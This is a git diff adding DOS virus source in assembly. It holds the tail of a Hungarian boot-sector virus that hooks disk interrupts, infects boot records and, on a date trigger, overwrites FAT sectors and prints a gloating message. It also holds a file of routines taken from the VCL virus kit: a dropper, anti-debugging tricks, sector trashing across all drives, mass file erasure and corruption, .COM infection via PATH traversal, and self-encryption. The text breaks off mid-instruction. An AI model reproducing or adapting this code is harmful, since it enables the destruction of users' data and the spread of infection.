bx + push ax + push cx + push dx + push es + push ds + push di + push si + push es + pop ds + push cs + pop es + mov cx,200h + mov si,bx + mov di,offset boot+200h + rep movsb + jmp folyt3 +kif: pop bx + pop cx + pop cx + pop dx + pop es + pop ds + pop di + pop si + clc + jmp viter1 +ase1: push bx + push ax + push cx + push dx + push di + push ds + push cs + pop ds + mov ax,cs:word ptr [cime] + and ax,0ffh + add bx,ax + mov di,bx + mov cx,59h + pushf + cld + rep movsb + popf + pop ds + pop di + pop dx + pop cx + pop ax + pop bx + clc + ret +folyt2: mov bx,boot+200h + mov ax,301h + mov cx,1 + mov dx,0 + push cs + pop es + call sub13 + jnc folyt3 + jmp kilep +folyt3: push cs + pop ds + mov bx,boot+200h + mov ax,[bx+18h] + mov cs:word ptr [szekt],ax + mov cx,[bx+1ah] + mul cx + mov cx,ax + mov ax,[bx+13h] + mov dx,0 + div cx + mov cs:byte ptr [sav],al + mov ch,al + mov al,1 +ugr3: nop + mov cl,5 + mov ah,5 + push cs + pop es + mov dx,0 + push cx + cmp cs:word ptr [wax],307h + clc + jz waxi + cmp cs:byte ptr [fert],0 + clc + jz waxi + call subru +waxi: push ds + push ax + pop ax + pop ds + pop cx + jnc jo4 + jmp kilep +sav: db 0 +wax: dw 0 +szekt: dw 0 +jo4: mov si,boot+200h + mov di,boot + push cs + pop ds + push cx + mov cx,100h + pushf + cld + rep movsw + popf + pop cx + push cx + mov ax,cs:word ptr [wax] + mov dx,0 + mov cl,1 + mov bx,100h + cmp cs:byte ptr [fert],0 + clc + jz hoho + call sub13 +hoho: pop cx + jnc jo2 + jmp kilep +jo2: push cs + pop ds + push cx + mov bx,boot+200h + mov ax,0cdfbh + mov dx,7213h + mov cx,200h + call keres + pop cx + jz jo3 + jmp kilep +jo3: push bx + push cx + mov cx,100h + mov ax,0e432h + mov dx,16cdh + call keres + jz jo5 + pop cx + pop bx + jmp kilep +jo5: sub bx,6 + mov cs:word ptr [veg1],bx + pop cx + pop bx + add bx,5 + mov cs:word ptr [kezd1],bx + mov cs:byte ptr [fej+2],ch + push cx + mov si,offset kezd2 + mov bx,cs:word ptr [kezd1] + mov cx,offset veg2-offset kezd2 + push cs + pop ds +cikl9: mov al,[si] + mov [bx],al + inc bx + inc si + loop cikl9 +cikl10: mov ds:byte ptr [bx],90h + inc bx + cmp bx,cs:word ptr [veg1] + jc cikl10 + pop cx + mov cx,3 +wqe: push cx + mov cx,1 + mov dx,0 + mov ax,301h + mov bx,boot+200h + push cs + pop es + call sub13 + jc kikk + pop cx + cmp cs:byte ptr [fert],0 + jnz kig + jmp kif +kig: jmp kilepo +kikk: pop cx + loop wqe + jmp kilep +dos: nop + mov al,80h + mov cs:byte ptr [flag1],al + mov ax,es:word ptr [84h] + mov cs:word ptr [int21+1],ax + mov ax,es:word ptr [86h] + mov cs:word ptr [int21+3],ax + mov ax,offset it21 + mov es:word ptr [84h],ax + mov es:[86h],cs +kilep: pop si + pop di + pop ds + pop es + pop dx + pop cx + pop ax + pop bx + jmp int13 +tamad: push cs + pop ds + mov cs:word ptr [szama],28800 + xor ax,ax + push si + push di + push cx + cld + mov di,offset flag1 + mov si,offset flagv +alsk: stosb + cmp di,si + jc alsk + pop cx + pop di + pop si + mov es,ax + mov cs:byte ptr[flag1],80h + mov ax,es:word ptr [4ch] + mov cs:word ptr [int13+1],ax + mov ax,es:word ptr [4eh] + mov cs:word ptr [int13+3],ax + mov ax,offset it13 + mov es:word ptr[4ch],ax + mov es:word ptr[4eh],cs + mov ax,201h + mov bx,offset boot+400h + push cs + pop es + mov dx,180h + mov cx,1 + int 13h + mov ax,0 + mov es,ax + mov ax,cs:word ptr [int13+1] + mov es:word ptr[4ch],ax + mov ax,cs:word ptr [int13+3] + mov es:word ptr[4eh],ax + mov ax,0f000h + mov es,ax + mov al,es:byte ptr [0fff0h] + cmp al,0eah + jnz akdj + mov ax,es:word ptr [0fff1h] + mov cs:word ptr [reset+1],ax + mov ax,es:word ptr [0fff3h] + mov cs:word ptr [reset+3],ax +akdj: retf +kezd2: int 12h + mov bx,40h + mul bx + sub ax,1000h + mov es,ax + mov dx,0 + jmp fej +ver1: db 23,0,6 +fej: mov cx,2801h + mov ax,208h + mov bx,100h + push bx + cmp es:word ptr [bx],2452h + jz el1 + int 13h + pop bx + jc veg2 + push es + mov ax,102h +el2: push ax + retf +el1: mov bx,0f00h + mov al,1 + mov cl,8 + int 13h + pop bx + jc veg2 + push es + mov ax,105h + jmp el2 +veg2: nop + nop +wincsi: jmp aba +aasw: mov al,cs:byte ptr [flag2] + cmp al,80h + jz cxz + jmp kilep +cxz: pop si + pop di + pop ds + pop es + pop dx + pop cx + pop ax + pop bx + cmp ch,0 + jz acb + jmp abbb +acb: cmp cl,0ah + jc acd + jmp abbb +acd: cmp dh,0 + jz ace + jmp abbb +ace: cmp ah,3 + jnz abe + mov cs:byte ptr [flag2],0 +abb: push ax + push bx + push cx + push dx + mov dx,80h + mov ax,201h + mov cx,9 + mov bx,offset boot+200h + push es + push cs + pop es + mov dx,80h + call sub13 + jc aca + mov ax,301h + mov cx,1 + mov dx,80h + mov bx,offset boot+200h + call sub13 +aca: pop es + pop dx + pop cx + pop bx + pop ax +abbb: call sub13 + jmp viter1 +abe: cmp ah,2 + jnz abbb + push di + push cx + push dx + push bx + push ax + push ax + mov ah,0 + mov di,ax + pop ax +abj: push cx + cmp cl,1 + jnz abh + mov cl,9 + jmp abi +abh: mov cx,0ah +abi: push bx + push di + mov al,1 + push es + mov ah,2 + call sub13 + pop es + pop di + pop bx + pop cx + jc abk + add bx,200h + mov cl,2 + dec di + jnz abj + pop ax + mov ah,0 + pop bx + pop dx + pop cx + pop di + clc + jmp viter1 +abk: pop bx + pop bx + pop dx + pop cx + pop di + mov al,0 + jmp viter1 +aba: mov al,cs:byte ptr [flag2] + cmp al,80h + jnz abc + jmp aasw +abc: cmp al,40h + jnz abw + jmp aasw +abw: mov cx,3 +ckld: push cx + mov dx,80h + mov cx,1 + mov bx,offset boot + mov ax,201h + push cs + pop es + call sub13 + pop cx + jnc abdq + loop ckld +kias: jmp aasw +abdq: mov dx,180h + mov cx,1 + mov bx,offset boot+200h + mov ax,201h + push cs + pop es + call sub13 + jc kias + mov bx,offset boot+200h + mov ax,cs:[bx+1feh] + cmp ax,0aa55h + jz abd + mov cs:byte ptr [flag2],40h + jmp kias +abd: push cs + pop ds + mov cx,3 + mov bx,offset boot + mov si,offset kezd3 +kere: mov al,[bx] + cmp al,[si] + jnz nem9 + inc bx + inc si + loop kere + sub bx,3 + add bx,offset ver2-kezd3 + mov al,[bx] + cmp al,23 + jnz nemq + mov ax,[si+offset ver2-offset kezd3] + cmp ax,[bx+1] + jc nemr +nemq: mov ax,307h + jmp nemw +nemr: mov cs:byte ptr [flag2],80h + jmp aasw +nem9: mov ax,308h +nemw: mov dx,80h + mov cx,2 + mov bx,100h + call sub13 + jnc oby + jmp aasw +oby: mov si,offset kezd3 + mov cx,offset veg3-offset kezd3 + mov di,offset boot + pushf + cld + rep movsb + popf + mov ax,301h + mov dx,80h + mov cx,01h + mov bx,offset boot + call sub13 + mov cs:byte ptr [flag2],80h + jmp aasw +kezd3: int 12h + mov bx,40h + mul bx + sub ax,1000h + mov es,ax + xor ax,ax + jmp ugas +ver2: db 23,0,6 +ugas: mov ss,ax + mov sp,7c00h + mov dx,80h + mov cx,02h + mov ax,208h + mov bx,100h + push bx + cmp es:word ptr [bx],2452h + jz el11 + int 13h + pop bx + jc vege + push es + mov ax,102h +el21: push ax + retf +el11: mov bx,0f00h + mov al,1 + mov cl,9 + int 13h + pop bx + jc vege + push es + mov ax,105h + jmp el21 +vege: jmp vege ;szoveg kiiratasa +veg3: nop + nop +cime: dw 0 +bot1: sti + int 13h + db 72h,67h + mov al,ds:[7c10h] + cbw + mul ds:word ptr [7c16h] + add ax,ds:[7c1ch] + add ax,ds:[7c0eh] + mov ds:[7c3fh],ax + mov ds:[7c37h],ax + mov ax,20h + mul ds:word ptr [7c11h] + mov bx,ds:[7c0bh] + add ax,bx + dec ax + div bx + add ds:[7c37h],ax + mov bx,0500h + mov ax,ds:[7c3fh] + db 0e8h,09fh,0 + mov ax,201h + db 0e8h,0b3h,0,72h,19h + mov di,bx + mov cx,0bh + mov si,7dd6h + repz cmpsb + db 75h,0dh + lea di,ds:[bx+20h] + mov si,7d1eh + mov cx,0bh + repz movsb + db 74h,18h + db 0,0,0,0,0,0,0,0,0,0,0,0 +tb12: db 0dfh,2,25h,2,0fh,1bh,0ffh,54h,0f6h,0fh,8,4fh,0,4 +tb720: db 0d1h,2,25h,2,9,2ah,0ffh,50h,0f6h,0fh,4,4fh,80h,5 +tb360: db 0dfh,2,25h,2,9,23h,0ffh,50h,0f6h,0fh,8,27h,40,3 +tb14: db 0a1h,2,25h,2,12h,1bh,0ffh,60h,0f6h,0fh,4,4fh,0,7 +int1e: dw 0,0,0,0,0,0,0,0 +hdtbl: db 50h,0,1,2,50h,0,2,2,50h,0,3,2,50h,0,4,2,50h,0,5,2,50h,0,6,2,50h,0,7,2,50h,0,8,2,50h,0,9,2,50h,0,0ah,2,50h,0,0bh,2,50h,0,0ch,2,50h,0,0dh,2,50h,0,0eh,2 + db 50h,0,0fh,2,50h,0,10h,2,50h,0,11h,2,50h,0,11h,2,50h,0,12h,2 +dstbl: db 28h,0,1,2,28h,0,2,2,28h,0,3,2,28h,0,4,2,28h,0,5,2,28h,0,6,2,28h,0,7,2,28h,0,8,2,28h,0,9,2 +mod2: db 0 +mod1: db 0 +beszur: push ax + push bx + push cx + push dx + push es + push ds + push di + push si + mov ax,201h + mov cx,0ah + mov bx,offset boot + mov dx,80h + push cs + pop es + pushf + push cs + call int13 + mov es,cs:word ptr [szegm] + mov es:word ptr [mod2],0 + jc hib + mov ax,cs:word ptr [boot] + cmp al,23h + jnz hib + mov es:byte ptr [mod2],ah + jmp hib +hib: mov es,cs:word ptr[szegm] + mov bx,offset kiiras + mov cx,offset kiirv-offset kiiras + mov al,es:[bx] + cmp al,20h + jnz hib1 +cijk: mov al,es:[bx] + xor al,45h + mov es:[bx],al + inc bx + loop cijk +hib1: mov ch,25h + mov ah,4 + int 1ah + jc friss + cmp cl,89h + jc friss + cmp ch,25h + jz bete + cmp dh,7 + jnc bete + jmp nbete +friss: mov al,54h + out 43h,al + mov al,0ffh + out 41h,al + jmp nbete +bete: cmp es:byte ptr [mod2],2 + jz nbete + mov ax,0 + mov ds,cs:word ptr [szegm] + mov es,ax + mov ax,es:word ptr[70h] + mov ds:word ptr [tim+1],ax + mov ax,es:word ptr[72h] + mov ds:word ptr [tim+3],ax + mov ax,offset timer + mov es:word ptr [70h],ax + mov ax,cs:word ptr [szegm] + mov es:word ptr [72h],ds +nbete: pop si + pop di + pop ds + pop es + pop dx + pop cx + pop bx + pop ax + ret +szegm: dw 0,0 +tim: db 0eah,0,0,0,0,0 +szama: dw 28800 +timer: pushf + push ax + push bx + push cx + push dx + push ds + push cs + pop ds + mov cx,2 + mov bx,offset atir + mov al,cs:[bx] + cmp al,90h + jnz rwt + jmp reset +rwt: call ftr + jc rwe + loop rwt + jmp reset +rwe: pop ds + mov ax,cs:word ptr [szama] + dec ax +kii: mov cs:word ptr [szama],ax + jz gyilk1 + pop dx + pop cx + pop bx + pop ax + popf + jmp tim +gyilk1: mov ax,28800 + mov cs:byte ptr [mod1],1 + inc ax + jmp kii +leol: mov bx,offset kiiras + mov cx,offset kiirv-offset kiiras + mov al,cs:[bx] + cmp al,20h + jz leol1 +adla: mov al,cs:[bx] + xor al,45h + mov cs:[bx],al + inc bx + loop adla +leol1: push cs + pop ds + cmp cs:byte ptr [mod2],1 + jz atu +irtas: mov si,offset graf + mov di,offset boot + mov cx,128 + mov dl,4*9 + push cs + pop es + push cs + pop ds + cld +cvgh: rep movsb + sub si,128 + mov cx,128 + dec dl + jnz cvgh + mov dx,180h + mov ax,309h + mov cx,2 + mov bx,offset boot + pushf + push cs + call int13 + mov dx,280h + mov ax,309h + mov cx,2 + mov bx,offset boot + pushf + push cs + call int13 + mov dx,0 + mov ax,309h + mov cx,1 + mov bx,offset boot + pushf + push cs + call int13 +atu: mov si,offset kiiras + mov al,2 + mov ah,0 + int 10h +awqt: mov al,cs:[si] + cmp al,0 + jz kie + mov ah,0eh + mov bx,0 + push si + int 10h + pop si + inc si + jmp awqt +kie: cli + hlt + jmp kie +kiiras: db ' Haha,vrus van a gpben!!',0dh,0ah,'Ez egy eddig mg nem kzismert vrus. De hamarosan az lesz.' + db 0dh,0ah,'A neve egyszeren tltget ',0dh,0ah,'Ezt a nevt onnan kapta, hogy' + db ' feltltgeti a FAT-tblt klnbz alakzatokkal.',0dh,0ah + db 'Ez mr meg is trtnt !!! ',0dh,0ah,0,0 +graf: db 32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32 + db 32,01,01,01,01,01,01,32,32,01,01,01,01,01,01,32 + db 01,32,32,32,32,32,32,01,01,32,32,32,32,32,32,01 + db 01,32,01,32,32,01,32,01,01,32,01,32,32,01,32,01 + db 01,32,32,32,32,32,32,01,01,32,32,32,32,32,32,01 + db 01,32,01,01,01,01,32,01,01,32,01,01,01,01,32,01 + db 32,01,32,32,32,32,01,32,32,01,32,32,32,32,01,32 + db 32,32,01,01,01,01,32,32,32,32,01,01,01,01,32,32 +kiirv: db 0 +start ends + end + \ No newline at end of file diff --git a/v/VIR_RTNS.ASM b/v/VIR_RTNS.ASM new file mode 100755 index 0000000..20dc8b9 --- /dev/null +++ b/v/VIR_RTNS.ASM @@ -0,0 +1,663 @@ +;These routines were pulled from the VCL as an aid to those who +;wish to write themselves some utilities. I have tried to gather +;all the essential pieces of the routines, so that you can simply +;install them in modules. +; +; +; +; +;This is a DROPPER routine from the VCL. + + + mov dx,offset data00 ; DX points to data + mov si,offset data01 ; SI points to data + push di ; Save DI + mov ah,02Fh ; DOS get DTA function + int 021h + mov di,bx ; DI points to DTA + mov ah,04Eh ; DOS find first file function + mov cx,00100111b ; CX holds all file attributes + int 021h + jc create_file ; If not found then create it +write_in_file: mov ax,04301h ; DOS set file attributes function + xor cx,cx ; File will have no attributes + lea dx,[di + 01Eh] ; DX points to file name + int 021h + mov ax,03D01h ; DOS open file function, write + lea dx,[di + 01Eh] ; DX points to file name + int 021h + xchg bx,ax ; Transfer file handle to AX + mov ah,040h ; DOS write to file function + mov cx,[si] ; CX holds number of byte to write + lea dx,[si + 2] ; DX points to the data + int 021h + mov ax,05701h ; DOS set file date/time function + mov cx,[di + 016h] ; CX holds old file time + mov dx,[di + 018h] ; DX holds old file data + int 021h + mov ah,03Eh ; DOS close file function + int 021h + mov ax,04301h ; DOS set file attributes function + xor ch,ch ; Clear CH for attributes + mov cl,[di + 015h] ; CL holds old attributes + lea dx,[di + 01Eh] ; DX points to file name + int 021h + mov ah,04Fh ; DOS find next file function + int 021h + jnc write_in_file ; If successful do next file + jmp short dropper_end ; Otherwise exit +create_file: mov ah,03Ch ; DOS create file function + xor cx,cx ; File has no attributes + int 021h + xchg bx,ax ; Transfer file handle to AX + mov ah,040h ; DOS write to file function + mov cx,[si] ; CX holds number of byte to write + lea dx,[si + 2] ; DX points to the data + int 021h + mov ah,03Eh ; DOS close file function + int 021h +dropper_end: pop di ; Restore DI + + + mov ax,04C00h ; DOS terminate function + int 021h + +;This is a STOP TRACE technique for fouling up DEBUGGERS + + +stop_tracing: mov cx,09EBh + mov ax,0FE05h ; Acutal move, plus a HaLT + jmp $-2 + add ah,03Bh ; AH now equals 025h + jmp $-10 ; Execute the HaLT + mov bx,offset null_vector ; BX points to new routine + push cs ; Transfer CS into ES + pop es ; using a PUSH/POP + int 021h + mov al,1 ; Disable interrupt 1, too + int 021h + jmp short skip_null ; Hop over the loop +null_vector: jmp $ ; An infinite loop +skip_null: mov byte ptr [lock_keys + 1],130 ; Prefetch unchanged +lock_keys: mov al,128 ; Change here screws DEBUG + out 021h,al ; If tracing then lock keyboard + +;This is a TRASH routine for destroying sectors + + + mov ax,0002h ; First argument is 2 + mov cx,0001h ; Second argument is 1 + cli ; Disable interrupts (no Ctrl-C) + cwd ; Clear DX (start with sector 0) +trash_loop: int 026h ; DOS absolute write interrupt + dec ax ; Select the previous disk + cmp ax,-1 ; Have we gone too far? + jne trash_loop ; If not, repeat with new drive + sti ; Restore interrupts + +;This is a FILE ERASE routine + + + mov dx,offset data02 ; DX points to data + mov ah,04Eh ; DOS find first file function + mov cx,00100111b ; All file attributes valid + int 021h + jc erase_done ; Exit procedure on failure + mov ah,02Fh ; DOS get DTA function + int 021h + lea dx,[bx + 01Eh] ; DX points to filename in DTA +erase_loop: mov ah,041h ; DOS delete file function + int 021h + mov ah,03Ch ; DOS create file function + xor cx,cx ; No attributes for new file + int 021h + mov ah,041h ; DOS delete file function + int 021h + mov ah,04Fh ; DOS find next file function + int 021h + jnc erase_loop ; Repeat until no files left +erase_done: + + mov ax,04C00h ; DOS terminate function + int 021h + +;This is a DIRECTORY "PATH"/ FILE FIND routine + + +search_files proc near + mov bx,di ; BX points to the virus + push bp ; Save BP + mov bp,sp ; BP points to local buffer + sub sp,135 ; Allocate 135 bytes on stack + + mov byte ptr [bp - 135],'\' ; Start with a backslash + + mov ah,047h ; DOS get current dir function + xor dl,dl ; DL holds drive # (current) + lea si,[bp - 134] ; SI points to 64-byte buffer + int 021h + + call traverse_path ; Start the traversal + +traversal_loop: cmp word ptr [bx + path_ad],0 ; Was the search unsuccessful? + je done_searching ; If so then we're done + call found_subdir ; Otherwise copy the subdirectory + + mov ax,cs ; AX holds the code segment + mov ds,ax ; Set the data and extra + mov es,ax ; segments to the code segment + + xor al,al ; Zero AL + stosb ; NULL-terminate the directory + + mov ah,03Bh ; DOS change directory function + lea dx,[bp - 70] ; DX points to the directory + int 021h + + lea dx,[bx + com_mask] ; DX points to "*.COM" + push di + mov di,bx + call find_files ; Try to infect a .COM file + mov bx,di + pop di + jnc done_searching ; If successful the exit + jmp short traversal_loop ; Keep checking the PATH + +done_searching: mov ah,03Bh ; DOS change directory function + lea dx,[bp - 135] ; DX points to old directory + int 021h + + cmp word ptr [bx + path_ad],0 ; Did we run out of directories? + jne at_least_tried ; If not then exit + stc ; Set the carry flag for failure +at_least_tried: mov sp,bp ; Restore old stack pointer + pop bp ; Restore BP + ret ; Return to caller +com_mask db "*.COM",0 ; Mask for all .COM files +search_files endp + +traverse_path proc near + mov es,word ptr cs:[002Ch] ; ES holds the enviroment segment + xor di,di ; DI holds the starting offset + +find_path: lea si,[bx + path_string] ; SI points to "PATH=" + lodsb ; Load the "P" into AL + mov cx,08000h ; Check the first 32767 bytes + repne scasb ; Search until the byte is found + mov cx,4 ; Check the next four bytes +check_next_4: lodsb ; Load the next letter of "PATH=" + scasb ; Compare it to the environment + jne find_path ; If there not equal try again + loop check_next_4 ; Otherwise keep checking + + mov word ptr [bx + path_ad],di ; Save the PATH address + mov word ptr [bx + path_ad + 2],es ; Save the PATH's segment + ret ; Return to caller + +path_string db "PATH=" ; The PATH string to search for +path_ad dd ? ; Holds the PATH's address +traverse_path endp + +found_subdir proc near + lds si,dword ptr [bx + path_ad] ; DS:SI points to PATH + lea di,[bp - 70] ; DI points to the work buffer + push cs ; Transfer CS into ES for + pop es ; byte transfer +move_subdir: lodsb ; Load the next byte into AL + cmp al,';' ; Have we reached a separator? + je moved_one ; If so we're done copying + or al,al ; Are we finished with the PATH? + je moved_last_one ; If so get out of here + stosb ; Store the byte at ES:DI + jmp short move_subdir ; Keep transfering characters + +moved_last_one: xor si,si ; Zero SI to signal completion +moved_one: mov word ptr es:[bx + path_ad],si ; Store SI in the path address + ret ; Return to caller +found_subdir endp + +find_files proc near + push bp ; Save BP + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address + + mov bp,sp ; BP points to local buffer + sub sp,128 ; Allocate 128 bytes on stack + + push dx ; Save file mask + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer + int 021h + + mov ah,04Eh ; DOS find first file function + mov cx,00100111b ; CX holds all file attributes + pop dx ; Restore file mask +find_a_file: int 021h + jc done_finding ; Exit if no files found + call infect_file ; Infect the file! + jnc done_finding ; Exit if no error + mov ah,04Fh ; DOS find next file function + jmp short find_a_file ; Try finding another file + +done_finding: mov sp,bp ; Restore old stack frame + mov ah,01Ah ; DOS set DTA function + pop dx ; Retrieve old DTA address + int 021h + + pop bp ; Restore BP + ret ; Return to caller +find_files endp + + +;This is a RAM REDUCTION routine + + + mov dx,0064h ; First argument is 100 + push es ; Save ES + mov ax,040h ; Set extra segment to 040h + mov es,ax ; (ROM BIOS) + mov word ptr es:[013h],dx ; Store new RAM ammount + pop es ; Restore ES + + mov ah,0Fh ; BIOS get video mode function + int 010h + xor ah,ah ; BIOS set video mode function + int 010h + + +;This is a MACHINE GUN SOUND routine followed by a DROP TO ROM routine + + + mov cx,0005h ; First argument is 5 +new_shot: push cx ; Save the current count + mov dx,0140h ; DX holds pitch + mov bx,0100h ; BX holds shot duration + in al,061h ; Read the speaker port + and al,11111100b ; Turn off the speaker bit +fire_shot: xor al,2 ; Toggle the speaker bit + out 061h,al ; Write AL to speaker port + add dx,09248h ; + mov cl,3 ; + ror dx,cl ; Figure out the delay time + mov cx,dx ; + and cx,01FFh ; + or cx,10 ; +shoot_pause: loop shoot_pause ; Delay a bit + dec bx ; Are we done with the shot? + jnz fire_shot ; If not, pulse the speaker + and al,11111100b ; Turn off the speaker bit + out 061h,al ; Write AL to speaker port + mov bx,0002h ; BX holds delay time (ticks) + xor ah,ah ; Get time function + int 1Ah ; BIOS timer interrupt + add bx,dx ; Add current time to delay +shoot_delay: int 1Ah ; Get the time again + cmp dx,bx ; Are we done yet? + jne shoot_delay ; If not, keep checking + pop cx ; Restore the count + loop new_shot ; Do another shot + + int 018h ; Drop to ROM BASIC + + + mov ax,04C00h ; DOS terminate function + int 021h + + +;This is a DISPLAY STRING routine + + +main proc near + mov si,offset data00 ; SI points to data + mov ah,0Eh ; BIOS display char. function +display_loop: lodsb ; Load the next char. into AL + or al,al ; Is the character a null? + je disp_strnend ; If it is, exit + int 010h ; BIOS video interrupt + jmp short display_loop ; Do the next character +disp_strnend: + + +This is a RANDOM NUMBER from BIOS CLOCK generator + + +get_random proc near + xor ah,ah ; BIOS get clock count function + int 01Ah + xchg dx,ax ; Transfer the count into AX + ret ; Return to caller +get_random endp + + +This is an CODE ENCRYPTION routine + + +encrypt_code proc near + mov si,offset encrypt_decrypt; SI points to cipher routine + + xor ah,ah ; BIOS get time function + int 01Ah + mov word ptr [si + 8],dx ; Low word of timer is new key + + xor byte ptr [si],1 ; + xor byte ptr [si + 7],1 ; Change all SIs to DIs + xor word ptr [si + 10],0101h; (and vice-versa) + + mov di,offset finish ; Copy routine into heap + mov cx,finish - encrypt_decrypt - 1 ; All but final RET + push si ; Save SI for later + push cx ; Save CX for later + rep movsb ; Copy the bytes + + mov si,offset write_stuff ; SI points to write stuff + mov cx,5 ; CX holds length of write + rep movsb ; Copy the bytes + + pop cx ; Restore CX + pop si ; Restore SI + inc cx ; Copy the RET also this time + rep movsb ; Copy the routine again + + mov ah,040h ; DOS write to file function + mov dx,offset start ; DX points to virus + + call finish ; Encrypt/write/decrypt + + ret ; Return to caller + +write_stuff: mov cx,finish - start ; Length of code + int 021h +encrypt_code endp + +end_of_code label near + +encrypt_decrypt proc near + mov si,offset start_of_code ; SI points to code to decrypt + mov cx,(end_of_code - start_of_code) / 2 ; CX holds length +xor_loop: db 081h,034h,00h,00h ; XOR a word by the key + inc si ; Do the next word + inc si ; + loop xor_loop ; Loop until we're through + ret ; Return to caller +encrypt_decrypt endp + + +;This is a BEEP routine + + +beep proc near + jcxz beep_end ; Exit if there are no beeps + mov ax,0E07h ; BIOS display char., BEL +beep_loop: int 010h ; Beep + loop beep_loop ; Beep until --CX = 0 +beep_end: + ret ; Return to caller +beep endp + + +;This is a GET DAY/WEEK COMPARE BEFORE ACTIVATE routine + + + call get_day + cmp ax,000Bh ; Did the function return 11? + jne skip00 ; If not equal, skip effect + call get_weekday + cmp ax,0005h ; Did the function return 5? + jne skip00 ; If not equal, skip effect + jmp short strt00 ; Success -- skip jump +skip00: jmp end00 ; Skip the routine +strt00: mov si,offset data00 ; SI points to data + mov ah,0Eh ; BIOS display char. function + +;Code goes between this--------------------------------> + +get_day proc near + mov ah,02Ah ; DOS get date function + int 021h + mov al,dl ; Copy day into AL + cbw ; Sign-extend AL into AX + ret ; Return to caller +get_day endp + +get_weekday proc near + mov ah,02Ah ; DOS get date function + int 021h + cbw ; Sign-extend AL into AX + ret ; Return to caller +get_weekday endp + + +;This is a FILE CORRUPTION routine + + + mov dx,offset data01 ; DX points to data + push bp ; Save BP + mov bp,sp ; BP points to stack frame + sub sp,4096 ; Allocate 4096-byte buffer + push di ; Save DI + mov ah,02Fh ; DOS get DTA function + int 021h + mov di,bx ; DI points to DTA + mov ah,04Eh ; DOS find first file function + mov cx,00100111b ; CX holds all file attributes + int 021h + jc corrupt_end ; If no files found then exit +corrupt_file: mov ax,04301h ; DOS set file attributes function + xor cx,cx ; File will have no attributes + lea dx,[di + 01Eh] ; DX points to file name + int 021h + mov ax,03D02h ; DOS open file function, r/w + lea dx,[di + 01Eh] ; DX points to file name + int 021h + xchg bx,ax ; Transfer file handle to AX +c_crypt_loop: mov ah,03Fh ; DOS read from file function + mov cx,4096 ; Read 4k of characters + lea dx,[bp - 4096] ; DX points to the buffer + int 021h + or ax,ax ; Were 0 bytes read? + je close_c_file ; If so then close it up + push ax ; Save AX + lea si,[bp - 4096] ; SI points to the buffer + xor ah,ah ; BIOS get clock ticks function + int 01Ah + pop cx ; CX holds number of bytes read + push cx ; Save CX +corrupt_bytes: xor byte ptr [si],dl ; XOR byte by clock ticks + inc si ; Do the next byte + inc dx ; Change the key for next byte + loop corrupt_bytes ; Repeat until buffer is done + pop dx ; Restore DX (holds bytes read) + push dx ; Save count for write + mov ax,04201h ; DOS file seek function, current + mov cx,0FFFFh ; Seeking backwards + neg dx ; Seeking backwards + int 021h + mov ah,040h ; DOS write to file function + pop cx ; CX holds number of bytes read + lea dx,[bp - 4096] ; DX points to the buffer + int 021h + jmp short c_crypt_loop +close_c_file: mov ax,05701h ; DOS set file date/time function + mov cx,[di + 016h] ; CX holds old file time + mov dx,[di + 018h] ; DX holds old file data + int 021h + mov ah,03Eh ; DOS close file function + int 021h + mov ax,04301h ; DOS set file attributes function + xor ch,ch ; Clear CH for attributes + mov cl,[di + 015h] ; CL holds old attributes + lea dx,[di + 01Eh] ; DX points to file name + int 021h + mov ah,04Fh ; DOS find next file function + int 021h + jnc corrupt_file ; If successful do next file +corrupt_end: pop di ; Restore DI + mov sp,bp ; Deallocate local buffer + pop bp ; Restore BP + + +;This is a COM PORT REARRANGING routin + + + mov bx,0001h ; First argument is 1 + mov si,0002h ; Second argument is 2 + push es ; Save ES + xor ax,ax ; Set the extra segment to + mov es,ax ; zero (ROM BIOS) + shl bx,1 ; Convert to word index + shl si,1 ; Convert to word index + mov ax,word ptr [bx + 03FEh]; Zero COM port address + xchg word ptr [si + 03FEh],ax; Put first value in second, + mov word ptr [bx + 03FEh],ax; and second value in first! + pop es ; Restore ES + + +;This is a DROP TO ROM routine + + +rom_basic proc near + int 018h ; Drop to ROM BASIC + ret ; Return to caller +rom_basic endp + + +;This is a TUNE PLAYING routine + TUNE DATA + + + mov si,offset data00 ; SI points to data +get_note: mov bx,[si] ; Load BX with the frequency + or bx,bx ; Is BX equal to zero? + je play_tune_done ; If it is we are finished + + mov ax,034DDh ; + mov dx,0012h ; + cmp dx,bx ; + jnb new_note ; + div bx ; This bit here was stolen + mov bx,ax ; from the Turbo C++ v1.0 + in al,061h ; library file CS.LIB. I + test al,3 ; extracted sound() from the + jne skip_an_or ; library and linked it to + or al,3 ; an .EXE file, then diassembled + out 061h,al ; it. Basically this turns + mov al,0B6h ; on the speaker at a certain + out 043h,al ; frequency. +skip_an_or: mov al,bl ; + out 042h,al ; + mov al,bh ; + out 042h,al ; + + mov bx,[si + 2] ; BX holds duration value + xor ah,ah ; BIOS get time function + int 1Ah + add bx,dx ; Add the time to the length +wait_loop: int 1Ah ; Get the time again (AH = 0) + cmp dx,bx ; Is the delay over? + jne wait_loop ; Repeat until it is + + in al,061h ; Stolen from the nosound() + and al,0FCh ; procedure in Turbo C++ v1.0. + out 061h,al ; This turns off the speaker. + +new_note: add si,4 ; SI points to next note + jmp short get_note ; Repeat with the next note +play_tune_done: + + +data00 dw 262,6,262,6,293,6,329,6,262,6,329,6,293,6,196,6 + dw 262,6,262,6,293,6,329,6,262,12,262,12 + dw 262,6,262,6,293,6,329,6,349,6,329,6,293,6,262,6 + dw 246,6,196,6,220,6,246,6,262,12,262,12 + dw 220,6,246,6,220,6,174,6,220,6,246,6,262,6,220,6 + dw 196,6,220,6,196,6,174,6,164,6,174,6,196,7 + dw 220,6,246,6,220,6,174,6,220,6,246,6,262,6,220,7 + dw 196,6,262,6,246,6,293,6,262,12,262,12 + dw 0 + + +;This is an ANSI DISPLAY routine + + + + mov si,offset data01 ; SI points to data + xor cx,cx ; Clear CX + push di ; Save DI + push es ; Save ES + + jcxz uncrunch_done ; Exit if there are no characters + + mov ah,0Fh ; BIOS get screen mode function + int 10h + xor ah,ah ; BIOS set screen mode function + int 10h ; Clear the screen + + xor di,di + mov ax,0B800h ; AX is set to video segment + mov es,ax ; ES holds video segment + + mov dx,di ; Save X coordinate for later + xor ax,ax ; Set current attributes + cld + +loopa: lodsb ; Get next character + cmp al,32 ; Is it a control character? + jb foreground ; Handle it if it is + stosw ; Save letter on screen +next: loop loopa ; Repeat until we're done + jmp short uncrunch_done ; Leave this routine + +foreground: cmp al,16 